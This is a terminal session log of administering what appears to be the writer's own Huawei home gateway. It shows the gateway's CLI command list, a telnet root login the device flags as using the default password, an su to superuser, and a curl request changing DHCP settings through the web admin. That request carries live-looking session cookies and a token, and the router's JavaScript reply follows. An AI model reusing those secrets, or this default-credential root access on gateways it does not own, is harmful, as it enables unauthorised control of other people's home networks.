display device-cert info
display deviceInfo
display dhcp client
display dhcp client all
display dhcp client6
display dhcp client6 all
display dhcp server pool
display dhcp server pool all
display dhcp server pool option
display dhcp server static
display dhcp server user
display dhcp server user all
display dhcp_em result
display diagnose info
display dns proxy info
display dnsserver static domain
display dpst
display dpst all
display dsp channel para
display dsp channel running status
display dsp channel status
display dsp chip stat
display dsp codec status
display dsp interrupt stat
display dynamic route
display eaiinfo
display edge_ont info
display epon ont info
display femPar info
display femPar version
display ffwd table
display file
display filter rf
display firewall rule
display flashlock status
display flow
display ftp config status
display if
display igmp
display igmp config
display inner version
display ip interface
display ip neigh
display ip route
display ip6tables filter
display iptables filter
display iptables mangle
display iptables nat
display iptables raw
display jb grid status
display jb para
display lan mac filter
display lanmac
display lanport workmode
display last call log
display lastword
display log info
display mac ap
display mac ap brief
display macaddress
display macaddress timer
display machineItem
display memory detail
display memory info
display microwave ctrl info
display msg-queue
display nat port mapping
display NCE info
display nff log
display oaml2shell ethvlan
display onu info
display optic
display optmode
display ploam-password
display policy route all
display pon statistics
display poncnt dnstatistic
display poncnt gemport upstatistic
display poncnt upstatistic
display port statistics
display portstatistics
display ppp interface
display pppoe client
display pppoe client all
display pppoe_em result
display productmac
display progress load
display rf config
display rfpi
display rootcert info
display rtp stack channel stat
display rtp stack chip stat
display rtp stack para
display rtp stack version
display sfwd drop statistics
display sfwd port statistics
display sn
display specsn
display ssh authentication-type
display ssh-hostkey fingerprint
display startcode version
display startup info
display swm bootstate
display swm state
display sysinfo
display syslog
display system info
display timeout
display timer
display tr069 info
display version
display voicelinetest
display voip dsp jbdata
display voip dsp para diagnose state
display voip dsp para diagnose statistics
display voip dsp tonedetect
display voip dtmfdiag state
display voip dtmfsimpara
display voip info
display voip rightflag
display voip ring info
display voip rtpdiag
display voip tone info
display wan layer all
display waninfo
display waninfo all
display waninfo all detail
display wanmac
display wifi ap
display wifi associate
display wifi calibrate mode
display wifi filter
display wifi information
display wifi multicast
display wifi neighbor
display wifi pa type
display wifi radio
display wifi smartant status
display wifichip
display wlan config
display wlan staevent
display wlan stainfo
display wlanmac
display zsp version
dnsserver add static
dnsserver delete static
firewall log
flush dhcp server pool
flush dnsserver cache
get ap retrans
get battery alarm policy
get battery alarm status
get ip conntrack
get mac agingtime
get ont oamfrequency
get opm switch
get optic debug info
get optic par info
get optic phy type
get optic txmode
get poncnt upgemport
get port config
get port isolate
get rogue status
get testself
get wifi atm
get wifi para
get wlan advance
get wlan associated
get wlan basic
get wlan enable
get wlan isolate
get wlan stats
get wlan wps
ifconfig
igmp add mirror filter
igmp clear statistics
igmp del mirror filter
igmp disable
igmp enable
igmp get debug switch
igmp get flow info
igmp get global cfg
igmp get iptv
igmp get mirror filter ip
igmp get multilmac
igmp get port multicast config
igmp get statistics
igmp set debug switch
igmp set iptv
ip -6 neigh
ip -6 route
ip -6 rule
ip interface config
ip neigh
ip neigh add
ip neigh delete
ip neigh flush
ip route
ip route show
ip rule
jvmcmd map histo
jvmcmd stack trace
jvmcmd stat
lan mac filter add
lan mac filter delete
lan mac filter disable
lan mac filter enable
lan mac filter flush
load fem par
load pack
load ssh-pubkey
logout
macaddress
make ssh hostkey
mid get
mid off
mid set
napt cli
netstat -na
nslookup
oam show eventlog
oamcmd clear log
oamcmd debug
oamcmd error log
oamcmd pdt show log
oamcmd show flow
oamcmd show log
omcicmd alarm show
omcicmd clear log
omcicmd debug
omcicmd error log
omcicmd mib show
omcicmd pdt show log
omcicmd pm show
omcicmd show flow
omcicmd show log
omcicmd show qos
osgicmd debug
osgicmd get debug
osgicmd plugin permission
osgicmd set debug
osgicmd show bundleresource
osgicmd show bundlestate
ping
plugcmd show state
plugcmd start
plugcmd stop
plugcmd uninstall
plugincmd debug
ppp interface config
pppoe client attach
pppoe client detach
qoscfg get
quit
reset
restore backup
restore manufactory
route get default
route get static
save data
save log
session cli
set ap retrans
set apssh
set aptelnet
set cwmp debug
set ethportmirror
set flashlock
set iaccess speed
set led
set microwave ctrl
set nce
set newparentalctrl
set newparentalctrl stats
set opticdata
set port isolate
set portmirror
set ringchk
set ssid
set timeout
set userpasswd
set voice announcement
set voice dtmfmethod
set voicedebug
set voicedsploop
set voicelinetest
set voiceportloop
set voicesignalingprint
set voip clip
set voip dsptemplate
set voip dtmfdebug
set voip dtmfdetfilter
set voip dtmfdiag start
set voip dtmfdiag stop
set voip dtmfsimpara
set voip dtmfsimu start
set voip dtmfsimu stop
set voip fax T38
set voip faxmodem switch
set voip highpassfilter
set voip portgain
set voip rtpdiag
set voip sipprofile
set wifi ap optimize
set wifi atm
set wifi expert
set wifi filter
set wifi para
set wifi radio
set wlan basic
set wlan enable
set wlan isolate
set wlan staboost
sfwd port statistics
shell
show diagnose
ssh authentication-type
ssh remote
start diagnose
stats clear
stats display
stop diagnose
su
telnet remote
test apdev
test tr069 inform end
test tr069 inform start
traceroute
trafficdump
udm clear log
udm show log
undo debugging dsp diagnose
undo debugging dsp para diagnose
undo debugging dsp record
undo debugging dsp t38diag
undo firewall log
voice net diagnose start
voice remote diagnose server set
voice remote diagnose set
vspa clear rtp statistics
vspa debug
vspa display conference info
vspa display digitmap info
vspa display dsp running info
vspa display dsp state
vspa display dsp template info
vspa display mg if state
vspa display mg info
vspa display online user info
vspa display port status
vspa display profilebody info
vspa display rtp statistics
vspa display service log
vspa display signal scene info
vspa display signal scene list
vspa display user call state
vspa display user status
vspa reset
vspa shutdown mg
wap list
wap ps
wap top
wifi smartant set
SU_WAP>ip rule ?
ip rule
SU_WAP>ip rule
0: from all lookup local
0: from all fwmark 0x202001 lookup 200
32690: from 192.168.1.9 lookup 100
32700: from all fwmark 0x1 lookup lan1
32700: from all fwmark 0x2 lookup lan1
32700: from all fwmark 0x3 lookup lan1
32700: from all fwmark 0x84 lookup lan1
32700: from all fwmark 0x80 lookup lan1
32766: from all lookup main
32767: from all lookup default
success!
SU_WAP>ip Connection closed by foreign host.
panxf@LPT028958:~/code$ dhcp server ?
Command 'dhcp' not found, did you mean:
command 'chcp' from deb nilfs-tools (2.2.9-1)
command 'hcp' from deb lam4-dev (7.1.4-7)
command 'dccp' from deb dcap (2.47.14-1)
command 'dhcpd' from deb isc-dhcp-server (4.4.3-P1-4ubuntu1)
command 'dhcpd' from deb isc-dhcp-server-ldap (4.4.3-P1-4ubuntu1)
command 'dhcpx' from deb irpas (0.10-9)
command 'dicp' from deb dish (1.19.1-1.1)
Try: sudo apt install <deb name>
panxf@LPT028958:~/code$ telnet 192.168.1.9
Trying 192.168.1.9...
Connected to 192.168.1.9.
Escape character is '^]'.
Welcome Visiting Huawei Home Gateway
Copyright by Huawei Technologies Co., Ltd.
Login:root
Password:
Password is default value, please modify it!
WAP>
Last login: User:root IP:192.168.1.20 Time:2025-09-20 11:34:26
WAP>su
success!
SU_WAP>dhcp server ?
dhcp server pool config
dhcp server pool disable
dhcp server pool enable
dhcp server pool lease config
dhcp server pool option add
dhcp server pool option del
dhcp server pool option flush
dhcp server pool restart
SU_WAP>dhcp server poll
ERROR::Command is not existed
SU_WAP>dhcp server poll
ERROR::Command is not existed
SU_WAP>dhcp server config ?
SU_WAP>dhcp server config
ERROR::Command is not existed
SU_WAP>dhcp server poll
ERROR::Command is not existed
SU_WAP>dhcp server pool config
ERROR::Invalid parameters
SU_WAP>dhcp server pool config ?
dhcp server pool config index index [gateway ip] [netmask netmask] [start start_ip] [end end_ip] [dns dns_ip]
SU_WAP>Connection closed by foreign host.
panxf@LPT028958:~/code$ curl 'https://192.168.1.9:80/html/bbsp/landhcp/set.cgi?x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1&z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2&e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement&RequestFile=html/bbsp/landhcp/landhcp_ap.asp' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6,pt;q=0.5' \
-H 'Cache-Control: max-age=0' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b '_SSID=j29TCpQ88qlHBbwFrS2wQpQieO2m8seup4C0NHCrK10; stay_login=0; did=4pbUaxuw2deEArepivorH73pTB-z0PMooE2fF3DhrMw6nDVxK0m1kbh_9OW4PXdFMMj21unCk_PHhH4ZQabwrw; _CrPoSt=cHJvdG9jb2w9aHR0cHM6OyBwb3J0PTUwMDE7IHBhdGhuYW1lPS87; io=32WLgEWmGDGVsZ8kAAA-; Cookie=sid=8e9166abaf14803527c44f51fe61d1fe61a22227c5df0e4df8bf48040ba7fa21:Language:chinese:id=1' \
-H 'Origin: https://192.168.1.9:80' \
-H 'Referer: https://192.168.1.9:80/html/bbsp/landhcp/landhcp_ap.asp' \
-H 'Sec-Fetch-Dest: iframe' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0' \
-H 'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Windows"' \
--data-raw 'x.IPInterfaceIPAddress=192.168.2.1&x.IPInterfaceSubnetMask=255.255.255.0&z.Enable=1&z.IPInterfaceIPAddress=192.168.2.1&z.IPInterfaceSubnetMask=255.255.255.0&c.DHCPEnable=0&d.DHCPServerEnable=1&d.X_HW_DHCPL2RelayEnable=1&d.X_HW_Option125Enable=1&d.X_HW_DNSList=192.168.2.137&d.MinAddress=192.168.2.2&d.MaxAddress=192.168.2.254&d.DHCPLeaseTime=5184000&x.X_HW_Token=658868061fa922aa21d29ce4dac536a90ef9971d3f712627' \
--insecure
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="X-UA-Compatible" content="IE=edge;chrome=1"><!-IE7 mode->
<script src="/resource/common/jquery.min.js?20211119004443262869193943" type="text/javascript"></script>
<script language="JavaScript" src="../../../resource/common/util.js?20211119004443262869193943"></script>
<script language="JavaScript" src="../../../resource/chinese/ssmpdes.js?20211119004443262869193943"></script>
<script language="JavaScript" src='../../../Cusjs/InitFormCus.js?20211119004443262869193943'></script>
<script language="JavaScript" src="../../../resource/common/InitForm.asp?20211119004443262869193943"></script>
<link rel="stylesheet" href='../../../resource/common/style.css?20211119004443262869193943' type='text/css'>
<link rel="stylesheet" href='../../../Cuscss/chinese/frame.css?20211119004443262869193943' type='text/css'>
<script language="JavaScript" src="../../../resource/chinese/ampdes.html?20211119004443262869193943"></script>
<script language="JavaScript" src="../../../resource/chinese/bbspdes.html?20211119004443262869193943"></script>
<script language="javascript" src="../common/managemode.asp"></script>
<script language="javascript" src="../common/dhcpinfo.asp"></script>
<script language="JavaScript" type="text/javascript">
var selctIndex = -1;
var AddFlag = true;
var ipaddrarg = "";
var macaddrarg = "";
var dnsMainSec = "";
var dnsMainPri = "";
var TableName = "DhcpStaticConfigList";
var SingtelMode = '0';
var ProductType = '1';
var RosMode = '0';
var CfgModeWord = 'DESKSHCTAP'.toUpperCase();
var MainDhcpRange1 = new Array(new dhcpmainst1("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement","1","192\x2e168\x2e2\x2e2","192\x2e168\x2e2\x2e254","5184000","1","","","","","","","","","","","192\x2e168\x2e2\x2e137","1","192\x2e168\x2e2\x2e137","0"),null);
var dhcpmain = MainDhcpRange1[0];
var MainDhcpPara = new Array(new dhcpmainst("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement","1","1500","192\x2e168\x2e2\x2e137"),null);
function dhcpmainst(domain, DHCPServerEnable, X_HW_MTU, X_HW_DNSList)
{
this.domain = domain;
this.X_HW_MTU = X_HW_MTU;
this.DHCPServerEnable = DHCPServerEnable;
this.X_HW_DNSList = X_HW_DNSList;
}
function dnsMain()
{
dnsMainList = MainDhcpPara[0].X_HW_DNSList.split(",");
dnsMainPri = dnsMainList[0];
if (dnsMainList.length == 2)
{
dnsMainSec = dnsMainList[1];
}
if (MainDhcpPara[0].DHCPServerEnable)
{
document.getElementById("dnsMainPri").value = dnsMainPri;
document.getElementById("dnsMainSec").value = dnsMainSec;
}
}
function dhcpmainst1(domain,enable,startip,endip,leasetime,l2relayenable,HGWstartip,HGWendip,STBstartip,STBendip,Camerastartip,Cameraendip,Computerstartip,Computerendip,Phonestartip,Phoneendip,MainDNS,X_HW_Option125Enable,DNSServers,OptionEnable)
{
this.domain = domain;
this.enable = enable;
this.startip = startip;
this.endip = endip;
this.leasetime = leasetime;
this.l2relayenable = l2relayenable;
this.HGWstartip = HGWstartip;
this.HGWendtip = HGWendip;
this.STBstartip = STBstartip;
this.STBendtip = STBendip;
this.Camerastartip = Camerastartip;
this.Cameraendtip = Cameraendip;
this.Computerstartip = Computerstartip;
this.Computerendtip = Computerendip;
this.Phonestartip = Phonestartip;
this.Phoneendtip = Phoneendip;
MainDNS = (MainDNS == "")?DNSServers:MainDNS;
if(MainDNS == "")
{
this.MainPriDNS = "";
this.MainSecDNS = "";
}
else
{
var MainDnss = MainDNS.split(',');
this.MainPriDNS = MainDnss[0];
this.MainSecDNS = MainDnss[1];
if (MainDnss.length <=1)
{
this.MainSecDNS = "";
}
}
this.X_HW_Option125Enable = X_HW_Option125Enable;
this.OptionEnable = OptionEnable;
}
if( window.location.href.indexOf("?") > 0)
{
ipaddrarg = window.location.href.split("?")[1];
macaddrarg = window.location.href.split("?")[2];
}
function stDhcp(domain,Enable,ipAddress,macAddress)
{
this.domain = domain;
this.Enable = Enable;
this.ipAddress = ipAddress;
this.macAddress = macAddress;
}
function loadlanguage()
{
var all = document.getElementsByTagName("td");
for (var i = 0; i <all.length ; i++)
{
var b = all[i];
if(b.getAttribute("BindText") == null)
{
continue;
}
setObjNoEncodeInnerHtmlValue(b, dhcpstatic_language[b.getAttribute("BindText")]);
}
}
var Dhcps = new Array(null);
var Dhcp = new Array();
for (var i = 0; i < Dhcps.length-1; i++)
{
Dhcp[i] = Dhcps[i];
}
function setLease(dhcpLease)
{
var i = 0;
var timeUnits = 604800;
var infinite = ((dhcpLease == "-1") || (dhcpLease == "4294967295"));
for(i = 0; i < 4; i++)
{
if (i == 0 )
{
timeUnits = 604800;
}
else if (i == 1)
{
timeUnits = 86400;
}
else if (i == 2)
{
timeUnits = 3600;
}
else
{
timeUnits = 60;
}
if ( true == isInteger(dhcpLease / timeUnits) )
{
break;
}
}
setSelect('maindhcpLeasedTimeFrag', timeUnits);
if(infinite)
{
setText('MainLeasedTime', dhcp2_language['bbsp_infinitetime']);
}
else
{
setText('MainLeasedTime', dhcpLease /timeUnits);
}
}
function LanHostIpselectRemoveCnt()
{
}
function LoadFrame()
{
setText('routeIP',LanHostInfo.ipaddr);
setText('ethSubnetMask',LanHostInfo.subnetmask);
var routeIPRange = document.getElementById("routeIPRange");
var routeIP = $("#routeIP").val();
var str = routeIP.slice(0,routeIP.lastIndexOf("."));
routeIPRange.innerHTML = str + ".";
if(MainDhcpRange1[0].enable == 1)
{
$("#dhcpSrvType").attr("DHCPServerFlag","1");
$("#dhcpSrvType").css("background-image","url(../../../images/equls-right.gif)");
}
else
{
$("#dhcpSrvType").attr("DHCPServerFlag","0");
$("#dhcpSrvType").css("background-image","url(../../../images/equls-left.jpg)");
}
changedisable();
var MainDhcpRange_startip = MainDhcpRange1[0].startip;
var MainDhcpRange_endip = MainDhcpRange1[0].endip;
setText('mainstartipaddr', MainDhcpRange_startip.slice(MainDhcpRange_startip.lastIndexOf(".")+1));
setText('mainendipaddr', MainDhcpRange_endip.slice(MainDhcpRange_endip.lastIndexOf(".")+1));
setLease(dhcpmain.leasetime);
if (Dhcp.length > 0)
{
selectLine(TableName + '_record_0');
setDisplay('TableConfigInfo',1);
}
else
{
selectLine('record_no');
setDisplay('TableConfigInfo',0);
}
if ((isValidIpAddress(ipaddrarg) == true)
&& (isValidMacAddress(macaddrarg) == true))
{
clickAdd(TableName + '_head');
setText('ipAddr', ipaddrarg);
setText('macAddr', macaddrarg);
}
if (CfgModeWord == 'SCCTAP')
{
document.getElementById("DNSServerPri").style.display = "table-row";
document.getElementById("DNSServerSec").style.display = "table-row";
dnsMain();
}
loadlanguage();
}
function AddSubmitParam()
{
if (false == CheckForm())
{
return;
}
var DhcpStaticSpecCfgParaList = new Array(new stSpecParaArray("x.Yiaddr",getValue('ipAddr'), 1),
new stSpecParaArray("x.Chaddr",getValue('macAddr'), 1));
var url = '';
if( selctIndex == -1 )
{
DhcpStaticSpecCfgParaList.push(new stSpecParaArray("x.Enable","1", 1));
url = 'add.cgi?'+'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPStaticAddress'
+ '&RequestFile=html/bbsp/landhcp/landhcp_ap.asp';
}
else
{
url = 'set.cgi?x=' + Dhcp[selctIndex].domain
+ '&RequestFile=html/bbsp/landhcp/landhcp_ap.asp';
}
var Parameter = {};
Parameter.asynflag = null;
Parameter.FormLiList = DhcpStaticConfigFormList;
Parameter.SpecParaPair = DhcpStaticSpecCfgParaList;
var tokenvalue = getValue('onttoken');
HWSetAction(null, url, Parameter, tokenvalue);
setDisable('btnApply_ex',1);
setDisable('cancel',1);
}
function setCtlDisplay(record)
{
if (record == null)
{
setText('ipAddr','');
setText('macAddr','');
}
else
{
setText('ipAddr',record.ipAddress);
setText('macAddr',record.macAddress);
}
}
function DeleteLineRow()
{
var tableRow = getElementById(TableName);
if (tableRow.rows.length > 2)
tableRow.deleteRow(tableRow.rows.length-1);
return false;
}
var g_Index = -1;
function setControl(index)
{
var record;
selctIndex = index;
if (index == -1)
{
if(Dhcp.length >= 16)
{
DeleteLineRow();
setDisplay('TableConfigInfo', 0);
AlertEx(dhcpstatic_language['bbsp_num']);
return;
}
record = null;
AddFlag = true;
setDisplay('TableConfigInfo', 1);
setCtlDisplay(record);
}
else if (index == -2)
{
setDisplay('TableConfigInfo', 0);
}
else
{
record = Dhcp[index];
AddFlag = false;
setDisplay('TableConfigInfo', 1);
setCtlDisplay(record);
}
g_Index = index;
setDisable('btnApply_ex',0);
setDisable('cancel',0);
}
function DhcpStaticConfigListselectRemoveCnt(val)
{
}
function OnDeleteButtonClick(TableID)
{
if (Dhcp.length == 0)
{
AlertEx(dhcpstatic_language['bbsp_removealert1']);
return;
}
if (selctIndex == -1)
{
AlertEx(dhcpstatic_language['bbsp_removealert2']);
return;
}
var CheckBoxList = document.getElementsByName(TableName+'rml');
var Form = new webSubmitForm();
var Count = 0;
for (var i = 0; i < CheckBoxList.length; i++)
{
if (CheckBoxList[i].checked != true)
{
continue;
}
Count++;
Form.addParameter(CheckBoxList[i].value,'');
}
if (Count <= 0)
{
AlertEx(dhcpstatic_language['bbsp_removealert3']);
return;
}
if (ConfirmEx(dhcpstatic_language['bbsp_removealert4']) == false)
{
document.getElementById("DeleteButton").disabled = false;
return;
}
setDisable('DeleteButton',1);
setDisable('btnApply_ex',1);
setDisable('cancel',1);
Form.addParameter('x.X_HW_Token', getValue('onttoken'));
Form.setAction('del.cgi?' +'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPStaticAddress' + '&RequestFile=html/bbsp/landhcp/landhcp_ap.asp');
Form.submit();
}
function PS_CheckReserveIP(Operation, Ip, MAC)
{
var conflict = false;
if (ProductType == '2')
{
$.ajax({
type : "POST",
async : false,
cache : false,
data : "act=" + Operation+ "&ip=" + Ip + "&mac=" + MAC,
url : "pdtipconflictcheck",
success : function(data) {
conflict = true;
},
error : function(XMLHttpRequest, textStatus, errorThrown) {
conflict = false;
},
complete: function (XHR, TS) {
XHR = null;
}
});
}
else
{
$.ajax({
type : "POST",
async : false,
cache : false,
data : "act=" + Operation+ "&ip=" + Ip + "&mac=" + MAC +"&x.X_HW_Token="+getValue('onttoken'),
url : "pdtipconflictcheck",
success : function(data) {
conflict = true;
},
error : function(XMLHttpRequest, textStatus, errorThrown) {
conflict = false;
},
complete: function (XHR, TS) {
XHR = null;
}
});
}
return conflict;
}
function CheckForm()
{
var IpAddress;
var MacAddress;
var right = 0;
IpAddress = getValue('ipAddr');
MacAddress = getValue('macAddr');
if (ProductType == '2')
{
if (MacAddress == "")
{
msg = dhcpstatic_language['bbsp_macnull'];
AlertEx(msg);
return false;
}
if(isValidMacAddress(MacAddress) == false)
{
AlertEx(dhcpstatic_language['bbsp_mac']+ MacAddress + dhcpstatic_language['bbsp_invalid']);
return false;
}
if (IpAddress == "")
{
msg = dhcpstatic_language['bbsp_ipnull'];
AlertEx(msg);
return false;
}
if((isAbcIpAddress(IpAddress) == false) || (isDeIpAddress(IpAddress) == true)
|| (isBroadcastIpAddress(IpAddress) == true) || (isLoopIpAddress(IpAddress) == true) )
{
AlertEx(dhcpstatic_language['bbsp_ipinvalid1']+ IpAddress + dhcpstatic_language['bbsp_invalid']);
return false;
}
for (var i = 0; i < Dhcp.length; i++)
{
if (selctIndex != i)
{
if (Dhcp[i].macAddress.toUpperCase() == MacAddress.toUpperCase())
{
AlertEx(dhcpstatic_language['bbsp_macused']);
return false;
}
if (Dhcp[i].ipAddress == IpAddress)
{
AlertEx(dhcpstatic_language['bbsp_isused']);
return false;
}
}
else
{
continue;
}
}
}
if(("1" == "0")
&& (true == PS_CheckReserveIP("checkDhcp", IpAddress, MacAddress)))
{
AlertEx(dhcpstatic_language['bbsp_ipconflict']);
return false;
}
return true;
}
function Cancel()
{
setDisplay("TableConfigInfo", 0);
if (AddFlag == true)
{
var tableRow = getElement(TableName);
if (tableRow.rows.length == 1)
{
selectLine('record_no');
}
else if (tableRow.rows.length == 2)
{
}
else
{
tableRow.deleteRow(tableRow.rows.length-1);
selectLine(TableName + '_record_0');
}
}
else
{
setText('ipAddr',Dhcp[selctIndex].ipAddress);
setText('macAddr',Dhcp[selctIndex].macAddress);
}
setDisable('btnApply_ex',0);
setDisable('cancel',0);
}
</script>
<script language="JavaScript" type="text/javascript">
var slaveIpAddress = "192.168.2.1";
var slaveSubnetMask = "255.255.255.0";
var curUserType='0';
var sysUserType='0';
var norightslavepool='0';
var conditionpoolfeature ='0';
var SonetHN8055QFlag = '0';
var SingtelMode = '0';
var RosMode = '0';
var LanAddrSplitFlag = '0';
var gstwfpoolfeature ='0';
var gstuseallslvpool ='0';
var LanMultiIpfeature = '0';
var IsAPFlagfeature = '1';
var TableName = "LanHostIp";
var ProductType = '1';
if('1' == gstwfpoolfeature)
{
conditionpoolfeature = '0';
}
var specIPoEMTUMax = '1500';
var LoginRequestLanguage = 'chinese';
var ClassAIpSupportFlag='0';
var TDEMode = '0';
var IsTELECOMFlag = '0';
var IsNETLIFElag = '0';
var IsSupportBridgeWan = '0';
var selctIndex = -1;
var SlaveDhcpInfos = new Array(new SlaveDhcpInfo("InternetGatewayDevice.X_HW_DHCPSLVSERVER","0"),null);
var PolicyRouteListAll = new Array(new PolicyRouteItem("InternetGatewayDevice.Layer3Forwarding.X_HW_policy_route.1","SourcePhyPort","","wan1\x2e1\x2eip1"),null);
var LanHostInfos = new Array(new stLanHostInfo("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0","1"),new stLanHostInfo("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0","1"),null);
var LanHostInfo2 = new Array(new stLanHostInfo("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0","1"),null);
var LanHostInfo = LanHostInfos[0];
var LanIpInfos = new Array(new stipaddr("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0"),new stipaddr("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0"),null);
LanHostInfos.pop();
var LanHostInfoValue = new Array();
var ConditionDhcpInfos = new Array(null);
if (ConditionDhcpInfos[1] == null)
{
ConditionDhcpInfos[1] = new condhcpst("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPConditionalServingPool.2", "", "", "", "");
}
var MainDhcpRange = new Array(new madhcpst("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement","192\x2e168\x2e2\x2e2","192\x2e168\x2e2\x2e254","192\x2e168\x2e2\x2e1"),null);
var PolicyRouteNum = 0;
var PolicyRouteListAll = new Array(new PolicyRouteItem("InternetGatewayDevice.Layer3Forwarding.X_HW_policy_route.1","SourcePhyPort","","wan1\x2e1\x2eip1"),null);
for (i = 0; i < PolicyRouteListAll.length && PolicyRouteListAll[i]; i++)
{
if(PolicyRouteListAll[i].Type.toUpperCase() == "SourceIP".toUpperCase())
{
PolicyRouteNum ++;
}
}
var SlaveIpAddr = "";
var SlaveIpMask = "";
if (LanHostInfos[1] != null)
{
SlaveEnable = LanHostInfos[1].enable;
SlaveIpAddr = LanHostInfos[1].ipaddr;
SlaveIpMask = LanHostInfos[1].subnetmask;
}
else if(LanHostInfos[1] == null && LanHostInfo2[0] != null && '1' == conditionpoolfeature)
{
SlaveEnable = LanHostInfo2[0].enable;
SlaveIpAddr = LanHostInfo2[0].ipaddr;
SlaveIpMask = LanHostInfo2[0].subnetmask;
}
for (var i = 0; i < LanHostInfos.length; i++)
{
var spstr = LanHostInfos[i].domain.split(".");
if (spstr[spstr.length-1] > 2)
{
LanHostInfoValue.push(LanHostInfos[i]);
}
}
function routeIPChange(sId)
{
if(CheckForm11(0) == true)
{
var routeIPRange = document.getElementById("routeIPRange");
var routeIP = $("#"+sId).val();
var str = routeIP.slice(0,routeIP.lastIndexOf("."));
routeIPRange.innerHTML = str + ".";
}
}
function GetDnsMStr()
{
var DnsMStr = getValue('dnsMainPri') + ',' + getValue('dnsMainSec');
if (getValue('dnsMainPri') == "")
{
DnsMStr = getValue('dnsMainSec');
}
if (getValue('dnsMainSec') == "")
{
DnsMStr = getValue('dnsMainPri');
}
return DnsMStr;
}
function RouteIPSubmit(type)
{
var result = true;
var Reboot = (GetPolicyRouteListLength(PolicyRouteListAll, "SourceIP") > 0 && getValue('routeIP') != LanHostInfos[0].ipaddr) ? dhcp_language['bbsp_resetont']:"";
if(CheckForm1(type) == true)
{
if(CheckForm2(type) == false)
{
return false;
}
if (((getValue('routeIP') != LanHostInfos[0].ipaddr) && (GetCurrentLoginIP() == LanHostInfos[0].ipaddr))
||(slaveIpAddress != SlaveIpAddr) && (GetCurrentLoginIP() == SlaveIpAddr))
{
result = ConfirmEx(dhcp_language['bbsp_dhcpconfirmnote']+Reboot);
} else if (GetDnsMStr() != MainDhcpPara[0].X_HW_DNSList)
{
result = ConfirmEx(lanDHCP_language['lan_dhcp011_dns']);
}
if(result == true)
{
var Form = new webSubmitForm();
AddSubmitParam1(Form,type);
Form.addParameter('x.X_HW_Token',getValue('onttoken'));
Form.submit();
}
}
}
function PolicyRouteItem(_Domain, _Type, _VenderClassId, _WanName)
{
this.Domain = _Domain;
this.Type = _Type;
this.VenderClassId = _VenderClassId;
this.WanName = _WanName;
}
function stipaddr(domain,enable,ipaddr,subnetmask)
{
this.domain = domain;
this.enable = enable;
this.ipaddr = ipaddr;
this.subnetmask = subnetmask;
}
function stLanHostInfo(domain,enable,ipaddr,subnetmask,AddressConflictDetectionEnable)
{
this.domain = domain;
this.enable = enable;
this.ipaddr = ipaddr;
this.subnetmask = subnetmask;
this.AddressConflictDetectionEnable = AddressConflictDetectionEnable;
}
function PolicyRouteItem(_Domain, _Type, _VenderClassId, _WanName)
{
this.Domain = _Domain;
this.Type = _Type;
this.VenderClassId = _VenderClassId;
this.WanName = _WanName;
}
function SlaveDhcpInfo(domain, enable)
{
this.domain = domain;
this.enable = enable;
}
function condhcpst(domain,enable,ipstart,ipend,gateway)
{
this.Domain = domain;
this.enable = enable;
this.ipstart = ipstart;
this.ipend = ipend;
this.gateway = gateway;
}
function madhcpst(domain,ipstart,ipend,gateway)
{
this.Domain = domain;
this.ipstart = ipstart;
this.ipend = ipend;
this.gateway = gateway;
}
function CheckForm11(type)
{
var result = true;
var ethIpAddress = getValue('routeIP');
var ethSubnetMask = getValue('ethSubnetMask');
var slaveIpAddress = "192.168.2.1";
var slaveSubnetMask = "255.255.255.0";
if(gstuseallslvpool == "1")
{
if(true==isSameSubNet(ethIpAddress, ethSubnetMask,SlaveIpAddr,SlaveIpMask))
{
return false;
}
}
if ( isValidIpAddress(ethIpAddress) == false )
{
return false;
}
if ( isValidSubnetMask(ethSubnetMask) == false )
{
return false;
}
if (ClassAIpSupportFlag != 1)
{
if ( isMaskOf24BitOrMore(ethSubnetMask) == false )
{
return false;
}
}
if(isHostIpWithSubnetMask(ethIpAddress, ethSubnetMask) == false)
{
return false;
}
if ( isBroadcastIp(ethIpAddress, ethSubnetMask) == true )
{
return false;
}
